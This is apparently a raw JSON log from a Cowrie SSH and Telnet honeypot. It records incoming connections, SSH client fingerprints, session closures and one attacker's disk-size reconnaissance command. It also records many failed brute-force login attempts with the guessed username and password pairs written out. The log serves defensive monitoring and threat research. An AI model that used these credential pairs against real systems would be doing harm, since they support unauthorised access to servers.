{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:44.056549Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:44.192437Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:44.196285Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"df -h","message":"Command not found: df -h","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:44.201157Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":29,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:44.291649Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:44.298258Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:44.532515Z","src_ip":"103.82.132.16","session":"474f5b68021b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.104.154.26","src_port":42816,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f29b65ca5f6","protocol":"ssh","message":"New connection: 112.104.154.26:42816 (10.17.0.5:22) [session: 5f29b65ca5f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:44.969277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:44.974932Z","src_ip":"112.104.154.26","session":"5f29b65ca5f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:45.174285Z","src_ip":"112.104.154.26","session":"5f29b65ca5f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaa123","message":"login attempt [root/aaa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:46.002529Z","src_ip":"112.104.154.26","session":"5f29b65ca5f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.56","src_port":58084,"dst_ip":"10.17.0.5","dst_port":22,"session":"7799dec1692c","protocol":"ssh","message":"New connection: 45.144.233.56:58084 (10.17.0.5:22) [session: 7799dec1692c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:46.805843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:46.816043Z","src_ip":"45.144.233.56","session":"7799dec1692c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:46.910181Z","src_ip":"45.144.233.56","session":"7799dec1692c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:47.207905Z","src_ip":"112.104.154.26","session":"5f29b65ca5f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe@1234","message":"login attempt [root/Qwe@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:47.322235Z","src_ip":"45.144.233.56","session":"7799dec1692c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.30.219.209","src_port":53993,"dst_ip":"10.17.0.5","dst_port":23,"session":"587d2eccc3cd","protocol":"telnet","message":"New connection: 98.30.219.209:53993 (10.17.0.5:23) [session: 587d2eccc3cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:48.359755Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:48.420064Z","src_ip":"45.144.233.56","session":"7799dec1692c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.223.60.209","src_port":36760,"dst_ip":"10.17.0.5","dst_port":22,"session":"b328ef412b4a","protocol":"ssh","message":"New connection: 190.223.60.209:36760 (10.17.0.5:22) [session: b328ef412b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:51.924214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:51.928269Z","src_ip":"190.223.60.209","session":"b328ef412b4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:52.054716Z","src_ip":"190.223.60.209","session":"b328ef412b4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Password01","message":"login attempt [user/Password01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:52.589437Z","src_ip":"190.223.60.209","session":"b328ef412b4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:53.718599Z","src_ip":"190.223.60.209","session":"b328ef412b4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":30976,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e4fe6c3f15a","protocol":"ssh","message":"New connection: 213.209.159.56:30976 (159.203.135.109:22) [session: 1e4fe6c3f15a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:54.640128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:00.616773Z","src_ip":"213.209.159.56","session":"1e4fe6c3f15a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:00.701672Z","src_ip":"213.209.159.56","session":"1e4fe6c3f15a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"storm","password":"storm","message":"login attempt [storm/storm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:03.185338Z","src_ip":"213.209.159.56","session":"1e4fe6c3f15a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"storm","password":"storm1","message":"login attempt [storm/storm1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:04.272346Z","src_ip":"213.209.159.56","session":"1e4fe6c3f15a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"storm","password":"storm123","message":"login attempt [storm/storm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:05.359664Z","src_ip":"213.209.159.56","session":"1e4fe6c3f15a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"storm","password":"storm1234","message":"login attempt [storm/storm1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:07.728408Z","src_ip":"213.209.159.56","session":"1e4fe6c3f15a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"storm","password":"storm12345","message":"login attempt [storm/storm12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:08.816864Z","src_ip":"213.209.159.56","session":"1e4fe6c3f15a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":39804,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0f0e8032caf","protocol":"ssh","message":"New connection: 103.77.175.15:39804 (159.203.135.109:22) [session: e0f0e8032caf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:08.990053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:09.000124Z","src_ip":"103.77.175.15","session":"e0f0e8032caf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:09.249300Z","src_ip":"103.77.175.15","session":"e0f0e8032caf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:09.902694Z","src_ip":"213.209.159.56","session":"1e4fe6c3f15a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123z123z","message":"login attempt [root/123z123z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:09.997487Z","src_ip":"103.77.175.15","session":"e0f0e8032caf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:11.249551Z","src_ip":"103.77.175.15","session":"e0f0e8032caf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.30.219.209","src_port":54544,"dst_ip":"10.17.0.5","dst_port":23,"session":"84575f889f19","protocol":"telnet","message":"New connection: 98.30.219.209:54544 (10.17.0.5:23) [session: 84575f889f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:11.789505Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":49420,"dst_ip":"159.203.135.109","dst_port":22,"session":"67816170a5f5","protocol":"ssh","message":"New connection: 102.210.148.92:49420 (159.203.135.109:22) [session: 67816170a5f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:14.587373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:14.592765Z","src_ip":"102.210.148.92","session":"67816170a5f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:14.834252Z","src_ip":"102.210.148.92","session":"67816170a5f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:15.830628Z","src_ip":"102.210.148.92","session":"67816170a5f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:17.075680Z","src_ip":"102.210.148.92","session":"67816170a5f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.77.48","src_port":60742,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3be7e0e18aa","protocol":"ssh","message":"New connection: 103.154.77.48:60742 (159.203.135.109:22) [session: c3be7e0e18aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:31.272877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:31.280798Z","src_ip":"103.154.77.48","session":"c3be7e0e18aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:31.519547Z","src_ip":"103.154.77.48","session":"c3be7e0e18aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:32.503769Z","src_ip":"103.154.77.48","session":"c3be7e0e18aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:33.745481Z","src_ip":"103.154.77.48","session":"c3be7e0e18aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.53.94.246","src_port":54138,"dst_ip":"159.203.135.109","dst_port":22,"session":"92af5bf309fe","protocol":"ssh","message":"New connection: 202.53.94.246:54138 (159.203.135.109:22) [session: 92af5bf309fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:49.696003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:49.702690Z","src_ip":"202.53.94.246","session":"92af5bf309fe","protocol":"ssh"}
